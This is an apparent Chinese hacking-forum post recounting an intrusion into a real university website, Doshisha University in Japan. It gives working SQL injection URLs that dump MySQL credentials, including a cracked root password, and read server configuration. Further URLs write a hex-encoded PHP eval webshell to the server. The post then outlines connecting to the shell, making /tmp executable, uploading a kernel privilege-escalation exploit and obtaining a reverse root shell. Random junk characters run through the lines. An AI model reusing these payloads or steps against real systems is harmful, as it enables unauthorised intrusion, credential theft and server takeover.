找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2500|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析! B/ N8 _' p  j* `7 a8 l* s2 Z. E; W
. {4 h( i4 e/ b4 O. v
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
, b. U5 A. @$ d9 _, \. Q然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
/ O# h$ @* x9 z8 Y" u: {& N2 K+ y& K# B6 }3 P
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user3 L: r, ~& Q( e6 A1 y0 b& a4 u
% G- D( C+ n: b% n. R; g1 |/ V4 G

& M8 A" v, v# `( l
8 O( ]  K6 f+ g( A3 N//@@datadir为数据库文件路径 5 a; a$ G" X( d4 A( W
; F# m" K0 T' W* o) i" z% c
' ~: E6 M; A* Q3 ^) ~, y
//load_file读取网站容器apache的配置文件 " W* n1 H* t0 `# F6 g5 w2 O7 R
7 H& e* H! E3 W8 n* `  w
; @; r7 W1 B6 B& i: t& y
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 ; V3 \: L# i+ r
复制代码' y7 d, z7 j, p+ K; {- A& S3 v

% N0 g) s5 _; n虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
. W* T) u; b! r0 Z4 d! Q0 O& s; G6 S0 e$ N: E# ?$ W1 d
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。1 Q# Y, p6 |; Z' j0 i! A
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)- c- M* X- F4 g2 p1 U8 M6 r
, |! k8 I" Q$ ]- j! \, C* w0 K
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。, ~) ]  v2 H6 C9 j0 G/ P
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
9 ]$ h; x1 O  F. l* _, I0 ~" z8 W: P# e; L$ X" A' w
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
1 z6 v; W$ p9 f2 I' \' u; U+ q/ }虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。  n& [# C+ e+ J6 R& ~4 U
直接写一句话:+ f& P- ]- T1 }! Z/ N2 ]
$ w- ^* Q, g% N; w6 y" i& }
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
6 F- i. r0 m& W# k1 Y
  ]- [+ R; k, ^' M( \; a
/ ^) M4 {9 ]9 w) c/ |
+ ?* Y: S" f  c, Y//最后的#是为了闭合前面的语句
% l; p& f2 \: n: ~. G 3 G3 V0 V  Y  d0 w  Q7 m# g
. A5 S# @  r' {2 H* }7 [5 k
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E % Q* i) q, p+ U9 a- `2 y7 k( ]
/ i* j7 ^/ s9 s) J

0 q9 I1 e' q8 M/ @* s! e& A为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 1 E7 K; i0 g9 v2 C9 w4 b- d! n3 o2 |

( c/ b4 b1 e" |) w. L' j# z5 o4 h2 Q+ r/ D* N% }! B# P
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 . V4 ^, J: C  g! u- K6 p* ]
6 }% j1 n; \& M" K+ }

+ w9 D; s4 Q$ u2 X+ {/ f0 o//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 2 Y( ~6 @& F4 `) \
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” % x" v6 H; m' w0 l" c
复制代码1 T7 R* J8 v! |1 m, [6 N

4 R0 Z6 a5 E; J9 [) N$ h+ L$ Z$ xHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有7 b% U- r4 }& [: [7 k% D
通过上述注入语句,我们就得到了一句话木马:
/ j+ h4 r8 s7 j4 G
1 D5 i8 _2 D& o. b % e# L* F+ W% h# e3 `4 X% z  j

5 ?. V7 S6 D5 V: K
+ t$ f4 H) H1 a& ~) N3 T8 r4 c  E
4 g. m, i7 T7 A/ G- j: _http://www.doshisha.ac.jp/english/engnews_img/aa.php
6 b3 E1 z9 t6 Z复制代码/ Q3 X# b8 ]: e% {2 t" q3 `( t
# M* @7 t& I8 P- l* N- b/ w
用菜刀连接,密码是cmd,如图所示:1 o: F- f+ v! W, ~. {2 b8 d8 G
然后在命令提示行里看了一下,现在的权限是:
- p  A7 O6 M" b. `1 b( P) e2 l8 U* A
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
- j$ \5 c7 ?2 X3 O6 c: c# N好在赋权给这个文件夹不需要root,直接执行赋权语句:. `7 j0 r' ]. `' h+ k
; W& q3 c' S5 U. p9 _! t- ]

! i& l  u# m% p9 P/ ~! F* D& a9 ]- \8 Q" A$ q2 D1 n3 }4 W+ ]( O

, w0 r7 L: g5 x  U
# n. \/ B! y6 d: x) M8 J9 D. Nchmod +x /tmp/ 5 i1 l' `0 ?6 L; Q3 e! ^+ |
复制代码6 a# g; b1 G$ k' C' D( B

/ }& q  @6 q9 m在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
% t2 y$ n! [, a9 A- Z& O8 b然后就查了一下内核版本:! Y* L8 Q  X" c: I# F( a* }" _  X2 H

& F0 U5 H! R- `, Z4 x 1 `. T' J$ h! L' C4 [/ I

$ a* b: N2 z  T
1 ]: F, k- o, G) v6 C) k) j" ^. v1 l
uname-a & ]7 `2 a/ n) W4 \( I5 `# y
5 ]* [* P& I2 F- J( R8 G
2 k3 \* z, F4 S0 P
//其实lsb_release -a ' v+ D  [* s, x& W
复制代码- I3 i# s! ?6 a  n+ h. y) b
0 c3 M# o4 Q: S! D  [2 B" b9 A
如图所示:
5 g$ ?) c! {! p- o! w
8 j& j  u% p. V) I; P内核版本:linux mainz1 2.6.28-194.e15
) j& B4 \9 k/ e系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)2 z, v" m% Q7 N$ |: |# m
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹: S0 E$ h+ g3 @8 }6 W+ k5 u5 O% A& M

" ^8 k: x. e% p( r然后给予执行权限
6 L1 t3 f& Y% o& U  }* n9 F一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
6 T1 _( w+ h. H7 u- s  H4 B* s% N* Q/ l" F7 h5 D3 C
! p2 r8 L3 K  C. ]3 w) b+ T- g( _, B

4 E7 Z+ A6 V; T% l$ }  p
* i( h2 H) G% [9 A$ t9 F, x5 |6 i" A* s- u# n& s. Z1 v
chmod +x /tmp/2.6.18-194
) E5 v* W6 z, ^) V. F/ U复制代码 然后直接执行!~
  V) y8 M7 u5 P% D# |
; W9 k+ Z7 ^# i总结:3 X0 v; I' M5 P' ~
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
- y5 p1 ~# A2 {7 D( R$ h: f4 J提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
5 W% ?: r9 m! n# V7 y1 T7 N* O0 |" H2 Y" V3 s- K6 c2 K1 x5 }1 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表